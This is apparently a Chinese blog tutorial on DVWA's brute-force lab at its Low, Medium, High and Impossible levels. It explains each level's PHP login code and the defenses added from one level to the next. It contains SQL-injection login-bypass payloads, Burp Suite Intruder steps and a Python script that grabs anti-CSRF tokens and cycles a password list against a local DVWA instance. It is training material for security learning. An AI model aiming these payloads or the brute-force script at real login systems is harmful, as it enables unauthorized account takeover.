DVWA--Brute Force(暴力破解)--四个等级

DVWA的Brute Force,也就是我们所熟悉的暴力破解,这里它一共有四个等级
Low、Medium、High、Impossible
这里我们就源码简单探讨一下

Low

源代码:

<?php

if( isset( $_GET[ 'Login' ] ) ) {
    // Get username
    $user = $_GET[ 'username' ];

    // Get password
    $pass = $_GET[ 'password' ];
    $pass = md5( $pass );

    // Check the database
    $query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    if( $result && mysqli_num_rows( $result ) == 1 ) {
        // Get users details
        $row    = mysqli_fetch_assoc( $result );
        $avatar = $row["avatar"];

        // Login successful
        echo "<p>Welcome to the password protected area {$user}</p>";
        echo "<img src=\"{$avatar}\" />";
    }
    else {
        // Login failed
        echo "<pre><br />Username and/or password incorrect.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?> 

mysqli_query(connection,query,resultmode) :执行一条 MySQL 查询
connection 必需。规定要使用的 MySQL 连接
query 必需,规定查询字符串。
resultmode 可选。一个常量。可以是下列值中的任意一个:
MYSQLI_USE_RESULT(如果需要检索大量数据,请使用这个)
MYSQLI_STORE_RESULT(默认)

针对成功的SELECT,SHOW,DESCRIBE或EXPLAIN查询,将返回一个mysqli_result对象。针对其他成功的查询,将返回TRUE。如果失败,则返回FALSE

$GLOBALS :引用全局作用域中可用的全部变量
$GLOBALS 这种全局变量用于在 PHP 脚本中的任意位置访问全局变量(从函数或方法中均可)
PHP 在名为 $GLOBALS[index] 的数组中存储了所有全局变量。变量的名字就是数组的键

or :php其中一个运算符,表示或
$x or $y 如果 $x 和 $y 至少有一个为 true,则返回 true
命令1 or 命令2:如果命令1返回true,则不执行or后面的命令;如果命令1返回false,则执行命令2
和die连用比较多,举例:

<?php
$site = "https://www.baidu.com/";
fopen($site,"r")   //以只读形式打开$site这个网址
or die("Unable to connect to $site");
/*
如果可以打开网站,不执行die;如果不能打开,执行die(die输出一条消息,并退出当前脚本,所以是true的),
执行die之后,不管发生什么,程序都已经停止运行,并且显示指定出错信息,也就达到了调试的目的
*/
?>

die(status) :输出一条消息,并退出当前脚本
status 必需。规定在退出脚本之前需要输出的消息或状态号。状态号不会被写入输出
如果 status 是字符串,则该函数会在退出前输出字符串。
如果 status 是整数,这个值会被用作退出状态。退出状态的值在 0 至 254 之间。退出状态 255 由 PHP 保留,不会被使用。状态 0 用于成功地终止程序
注释:如果 PHP 的版本号大于等于 4.2.0,那么在 status 是整数的情况下,不会输出该参数

is_object($var) :用于检测变量是否是一个对象
$var:要检测的变量
如果指定变量为对象,则返回TRUE,否则返回FALSE

mysqli_error(connection) :返回上一个 MySQL 操作产生的文本错误信息
本函数返回上一个 MySQL 函数的错误文本,如果没有出错则返回 ‘’(空字符串)
connection 可选。规定 SQL 连接标识符。如果未规定,则使用上一个打开的连接
举例:

<?php
$con = mysqli_connect("localhost","username","password");
if (!$con)
  {
  die(mysqli_error());
  }
mysqli_close($con);
?>

mysqli_connect_error() :返回上一次连接错误的错误描述
返回一个描述错误的字符串。如果没有错误发生则返回NULL

mysqli_num_rows(result) :返回结果集中行的数目
result 必需。规定由 mysqli_query()、mysqli_store_result() 或 mysqli_use_result() 返回的结果集标识符

举例:

<?php
$con = mysqli_connect("localhost", "hello", "321");
if (!$con)
  {
  die('Could not connect: ' . mysqli_error());
  }

$db_selected = mysqli_select_db("test_db",$con);

$sql = "SELECT * FROM person";
$result = mysqli_query($sql,$con);
echo mysqli_num_rows($result);

mysqli_close($con);
?>
/*
输出类似:
3
*/

mysqli_fetch_assoc(result) :从结果集中取得一行作为关联数组
本函数返回的字段名是区分大小写的
返回值: 返回代表读取行的关联数组。如果结果集中没有更多的行则返回NULL
举例:

<?php
$con = mysqli_connect("localhost", "hello", "321");
if (!$con)
  {
  die('Could not connect: ' . mysqli_error());
  }

$db_selected = mysqli_select_db("test_db",$con);
$sql = "SELECT * from Person WHERE Lastname='Adams'";
$result = mysqli_query($sql,$con);
print_r(mysqli_fetch_assoc($result));

mysqli_close($con);
?>
/*
输出:
Array
(
[LastName] => Adams
[FirstName] => John
[City] => London
) 
*/

is_null ($var) :检测变量是否为 NULL
var 允许传入任意参数
如果var是NULL则返回 TRUE,否则返回 FALSE

mysqli_close(connection) :关闭先前打开的数据库连接
connection 必需。规定要关闭的 MySQL 连接
返回值: 如果成功则返回TRUE,如果失败则返回FALSE

渗透过程
1.登陆前打开Burpsuite抓包,抓到GET请求包在这里插入图片描述
发送到Intruder,选择需要爆破的变量,这里我们假设已知用户名为admin的情况
在这里插入图片描述
配置爆破字典
在这里插入图片描述
调整线程,提高爆破速度
在这里插入图片描述
爆破成功,有一个Length和其他都不相同,这里可以看出它就是正确密码

在这里插入图片描述
注:这里也可以使用万能密码登录,例如

admin' or '1'='1可以
admin' and 1=1#不可以

主要由于mysqli_num_rows( $result ) == 1,因为这个表示从数据库中得到的结果只有一条才符合条件,可以将拼接后的mysql语句放入mysql中执行
成功的:

例如使用admin' or '1'='1后,密码为空,拼接后的内容为
$query  = "SELECT * FROM `users` WHERE user = 'admin' or '1'='1' AND password = 'd41d8cd98f00b204e9800998ecf8427e';"; 

在这里插入图片描述

例如使用admin' and 1=1#后,运行过程如下,因为是GET请求,所以收到请求后,URL如下
http://192.168.1.110/dvwa/vulnerabilities/brute/?username=admin%27+and+1%3D1%23&password=&Login=Login#
注:URL中的#是不会传入php代码中,因为它是锚点,除了被编码,就像这里的%23,%23会在传入php中时变为#
因为
<?php
if( isset( $_GET[ 'Login' ] ) ) {
    // Get username
    $user = $_GET[ 'username' ];	释义:php内部$user=admin' and 1=1#,这里的#就是由URL中的%23传入得来

    // Get password
    $pass = $_GET[ 'password' ];	释义:php内部password为null
    $pass = md5( $pass );

    // Check the database
    $query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';"; 
    //$query  = "SELECT * FROM `users` WHERE user = 'admin' and 1=1#' AND password = '$pass';"; 
    ?>

在这里插入图片描述

失败的:
admin’ or 1=1#
拼接后如下:

SELECT * FROM `users` WHERE user = 'admin' or 1=1#' AND password = 'd41d8cd98f00b204e9800998ecf8427e';

还有个疑问,为什么and 1=1可以,or 1=1却不可以?
知道他们的区别就行:and 要满足所有条件,or只要满足一个条件即可,这不是重点,关键在于SQL查询语句中or 1=1表示把表中的所有数据都查询出来(注:前提是or 1=1或or ‘1’='1’后面没有任何内容,如果有and等其他内容还是会显示一条数据),而and 1=1和有没有都一样,并且or 1=0只显示一个数据,and 1=0报错。
所有对比如下:
在这里插入图片描述


Medium

源代码:
<?php 

if( isset( $_GET[ 'Login' ] ) ) { 
    // Sanitise username input 
    $user = $_GET[ 'username' ]; 
    $user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); 

    // Sanitise password input 
    $pass = $_GET[ 'password' ]; 
    $pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); 
    $pass = md5( $pass ); 

    // Check the database 
    $query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';"; 
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    if( $result && mysqli_num_rows( $result ) == 1 ) { 
        // Get users details 
        $row    = mysqli_fetch_assoc( $result ); 
        $avatar = $row["avatar"]; 

        // Login successful 
        echo "<p>Welcome to the password protected area {$user}</p>"; 
        echo "<img src=\"{$avatar}\" />"; 
    } 
    else { 
        // Login failed 
        sleep( 2 ); 
        echo "<pre><br />Username and/or password incorrect.</pre>"; 
    } 

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); 
} 

?> 

部分代码释义:
mysqli_real_escape_string(connection,escapestring) :转义在SQL语句中使用的字符串中的特殊字符
connection 必需。规定要使用的 MySQL 连接
escapestring 必需。要转义的字符串。编码的字符是 NUL(ASCII 0)、\n、\r、\、’、" 和 Control-Z
返回值: 返回已转义的字符串
举例:
这里举的不是很好但是大致可以理解
在这里插入图片描述
假设$a是变量(实则是一个字符串),以上代码返回true,假设你传入一个$a传入一个单引号,那么我们看看会发生什么
在这里插入图片描述
假设上面使用的是mysqli_real_escape_string()函数,是这个函数添加的\,转义了第2个单引号;此时上面图中的第2个单引号和第3个单引号不能构成空,也就是’ ‘;因为嘛,被转义的单引号现在仅仅就是个字符,并不能使用它的任何“权利”;比如它要和另一个单引号结合,这是不可能的,因为你已经被转义了;虽然你加了\外表还是’,但你和第3个单引号内在是不一样的(这里所说单引号,都是上图中的)

trigger_error(errormsg,errortype) :创建用户级别的错误消息。
trigger_error() 函数能结合内置的错误处理器所关联,或者可以使用用户定义的函数作为新的错误处理程序(set_error_handler())
errormsg 必需。规定错误消息。最大长度 1024 字节。
errortype 可选。规定错误类型。可能的值:
E_USER_ERROR
E_USER_WARNING
E_USER_NOTICE(默认)
如果规定了错误的 errortype,则返回 FALSE。否则返回 TRUE
举例:

<?php
 if ($usernum>10) {
     trigger_error("Number cannot be larger than 10");
 }
 ?> 
/*以上代码的输出类似这样:
Notice: Number cannot be larger than 10
 in C:\webfolder\test.php on line 6
 */

E_USER_ERROR
E_USER_ERROR只能通过trigger_error($ msg,E_USER_ERROR)手动触发.E_USER_ERROR是用户自定义错误类型,可以被设置为错误处理函数捕获退出运行

sleep(seconds) :延迟执行当前脚本若干秒
seconds 必需。规定延迟执行脚本的秒数
如果指定秒数是负数,该函数将抛出一个错误
如果成功则返回0,如果错误则返回FALSE。
如果调用被信号中断,该函数返回一个非零值。在Windows平台上,该值将总是192,表示Windows API中的WAIT_IO_COMPLETION常量的值。在其他平台上,返回值将是剩余的延迟秒数

medium代码用mysqli_real_escape_string(connection,escapestring)对输入的用户名与密码进行了转义,防止了利用单引号,双引号等参数构造进行SQL注入,这里的sleep(2),表示登陆失败时,延迟2s返回登录失败信息,这就造成了每一次爆破如果密码错误,进行下一次爆破要比之前Low级别的代码多上2s延迟,其他没有什么。


High

源代码:
<?php 

if( isset( $_GET[ 'Login' ] ) ) { 
    // Check Anti-CSRF token 
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); 

    // Sanitise username input 
    $user = $_GET[ 'username' ]; 
    $user = stripslashes( $user ); 
    $user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); 

    // Sanitise password input 
    $pass = $_GET[ 'password' ]; 
    $pass = stripslashes( $pass ); 
    $pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); 
    $pass = md5( $pass ); 

    // Check database 
    $query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';"; 
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    if( $result && mysqli_num_rows( $result ) == 1 ) { 
        // Get users details 
        $row    = mysqli_fetch_assoc( $result ); 
        $avatar = $row["avatar"]; 

        // Login successful 
        echo "<p>Welcome to the password protected area {$user}</p>"; 
        echo "<img src=\"{$avatar}\" />"; 
    } 
    else { 
        // Login failed 
        sleep( rand( 0, 3 ) ); 
        echo "<pre><br />Username and/or password incorrect.</pre>"; 
    } 

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); 
} 

// Generate Anti-CSRF token 
generateSessionToken(); 

?> 

部分函数释义:
stripslashes(string) :删除反斜杠
string 必需。规定要检查的字符串

rand(min,max) :返回随机整数
min,max 可选。规定随机数产生的范围
如果没有提供可选参数 min 和 max,rand() 返回 0 到 RAND_MAX 之间的伪随机整数。例如,想要 5 到 15(包括 5 和 15)之间的随机数,用 rand(5, 15);在某些平台下(例如 Windows)RAND_MAX 只有 32768。如果需要的范围大于 32768,那么指定 min 和 max 参数就可以生成大于 RAND_MAX 的数了,或者考虑用 mt_rand() 来替代它

High级别的代码使用了Anti-CSRF token来抵御CSRF的攻击,使用了stripslashes函数和mysqli_real_esacpe_string来抵御SQL注入和XSS的攻击

由于使用了Anti-CSRF token,每次服务器返回的登陆页面中都会包含一个随机的user_token的值,用户每次登录时都要将user_token一起提交。服务器收到请求后,会优先做user_token的检查,再进行sql查询。

方法一:使用burpsuite爆破
前提:截取到数据包时,不可放行,要保持截取的状态,否则无法Refetch response,造成无法爆破
例:爆破时保持该状态
在这里插入图片描述
(1)抓到包后设置Positions
在这里插入图片描述
(2)设置Options
①设置线程
在这里插入图片描述
②找到Grep-Extract,选择Extract the following items from responses:,再点击add(下图中是我之前就已经添加了的)
在这里插入图片描述
③获取返回页面的源码
在这里插入图片描述
④找到需要爆破的user_token的值,然后点击OK,这里记得保存该值
在这里插入图片描述
(3)设置payloads
在这里插入图片描述
在这里插入图片描述
注:Positions中user_token的值是不可以的

(4)之后就可以开始攻击
在这里插入图片描述
注:该方法成功爆破后无法再次爆破,需要重新截取数据包重新操作!!!

方法二:使用后burp中宏自动化获取token进行攻击

参考我的另一篇文章(以DVWA为例):Burpsuite中宏的使用

方法三:我们用python3写一段代码进行自动化爆破

from bs4 import BeautifulSoup
import requests

def get_token(requrl,header):
    response = requests.get(url=requrl,headers=header)
    print(response.status_code,len(response.content))  # response.status_code(),输出状态码  response.content(),获取响应的内容
    soup = BeautifulSoup(response.text,"html.parser")  # 获取被抓取页面的html代码,并使用html.parser来实例化BeautifulSoup,属于固定套路
    input = soup.select("input[type='hidden']")  # 返回的是一个list列表
    user_token = input[0]['value']               #获取用户的token
    return user_token

if __name__ =='__main__':

  requrl = "http://127.0.0.1:8008/dvwa/vulnerabilities/brute/"
  header = {
            "Accept" : "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3",
            "Accept-Language" : "zh-CN,zh;q=0.9,en;q=0.8",
            "Connection" : "keep-alive",
            "Cookie" : "security=high; PHPSESSID=qcssnmjr6hs4ntsile37dav20h",
            "Host" : "127.0.0.1:8008",
            "Referer" : "http://127.0.0.1:8008/dvwa/vulnerabilities/brute/",
            "Upgrade-Insecure-Requests" : "1",
            "User-Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.131 Safari/537.36"
            }

  user_token = get_token(requrl,header)
  i = 0
  for line in open("C:/Users/Yuen/Desktop/pass.txt"):
      requrl = "http://127.0.0.1:8008/dvwa/vulnerabilities/brute/?username=admin&password=" + line.strip() + "&Login=Login&user_token=" + user_token
      i = i + 1
      print(i,'admin',line.strip(),end=" ")
      user_token = get_token(requrl,header)
      if (i == 10):
          break

这里我就爆破了10次,作为演示,实际次数取决于你字典的大小和你的需求

Impossible

源代码:
<?php

if( isset( $_POST[ 'Login' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Sanitise username input
    $user = $_POST[ 'username' ];
    $user = stripslashes( $user );
    $user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Sanitise password input
    $pass = $_POST[ 'password' ];
    $pass = stripslashes( $pass );
    $pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $pass = md5( $pass );

    // Default values
    $total_failed_login = 3;
    $lockout_time       = 15;
    $account_locked     = false;

    // Check the database (Check user information)
    $data = $db->prepare( 'SELECT failed_login, last_login FROM users WHERE user = (:user) LIMIT 1;' );
    $data->bindParam( ':user', $user, PDO::PARAM_STR );
    $data->execute();
    $row = $data->fetch();

    // Check to see if the user has been locked out.
    if( ( $data->rowCount() == 1 ) && ( $row[ 'failed_login' ] >= $total_failed_login ) )  {
        // User locked out.  Note, using this method would allow for user enumeration!
        //echo "<pre><br />This account has been locked due to too many incorrect logins.</pre>";

        // Calculate when the user would be allowed to login again
        $last_login = strtotime( $row[ 'last_login' ] );
        $timeout    = $last_login + ($lockout_time * 60);
        $timenow    = time();

        /*
        print "The last login was: " . date ("h:i:s", $last_login) . "<br />";
        print "The timenow is: " . date ("h:i:s", $timenow) . "<br />";
        print "The timeout is: " . date ("h:i:s", $timeout) . "<br />";
        */

        // Check to see if enough time has passed, if it hasn't locked the account
        if( $timenow < $timeout ) {
            $account_locked = true;
            // print "The account is locked<br />";
        }
    }

    // Check the database (if username matches the password)
    $data = $db->prepare( 'SELECT * FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
    $data->bindParam( ':user', $user, PDO::PARAM_STR);
    $data->bindParam( ':password', $pass, PDO::PARAM_STR );
    $data->execute();
    $row = $data->fetch();

    // If its a valid login...
    if( ( $data->rowCount() == 1 ) && ( $account_locked == false ) ) {
        // Get users details
        $avatar       = $row[ 'avatar' ];
        $failed_login = $row[ 'failed_login' ];
        $last_login   = $row[ 'last_login' ];

        // Login successful
        echo "<p>Welcome to the password protected area <em>{$user}</em></p>";
        echo "<img src=\"{$avatar}\" />";

        // Had the account been locked out since last login?
        if( $failed_login >= $total_failed_login ) {
            echo "<p><em>Warning</em>: Someone might of been brute forcing your account.</p>";
            echo "<p>Number of login attempts: <em>{$failed_login}</em>.<br />Last login attempt was at: <em>${last_login}</em>.</p>";
        }

        // Reset bad login count
        $data = $db->prepare( 'UPDATE users SET failed_login = "0" WHERE user = (:user) LIMIT 1;' );
        $data->bindParam( ':user', $user, PDO::PARAM_STR );
        $data->execute();
    } else {
        // Login failed
        sleep( rand( 2, 4 ) );

        // Give the user some feedback
        echo "<pre><br />Username and/or password incorrect.<br /><br/>Alternative, the account has been locked because of too many failed logins.<br />If this is the case, <em>please try again in {$lockout_time} minutes</em>.</pre>";

        // Update bad login count
        $data = $db->prepare( 'UPDATE users SET failed_login = (failed_login + 1) WHERE user = (:user) LIMIT 1;' );
        $data->bindParam( ':user', $user, PDO::PARAM_STR );
        $data->execute();
    }

    // Set the last login time
    $data = $db->prepare( 'UPDATE users SET last_login = now() WHERE user = (:user) LIMIT 1;' );
    $data->bindParam( ':user', $user, PDO::PARAM_STR );
    $data->execute();
}

// Generate Anti-CSRF token
generateSessionToken();

?> 

Impossible级别的代码加入了可靠的防爆破机制,当检测到错误登录3次后将会锁定账户15s,系统会将账户锁定,爆破也就无法继续
同时采用了更为安全的PDO(PHP Data Object)机制防御sql注入,这是因为不能使用PDO扩展本身执行任何数据库操作,而sql注入的关键就是通过破坏sql语句结构执行恶意的sql命令

因为我还没有学过PDO,等学完,会写一片PDO笔记分享给大家

  • 5
    点赞
  • 30
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 5
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 5
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

1stPeak

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值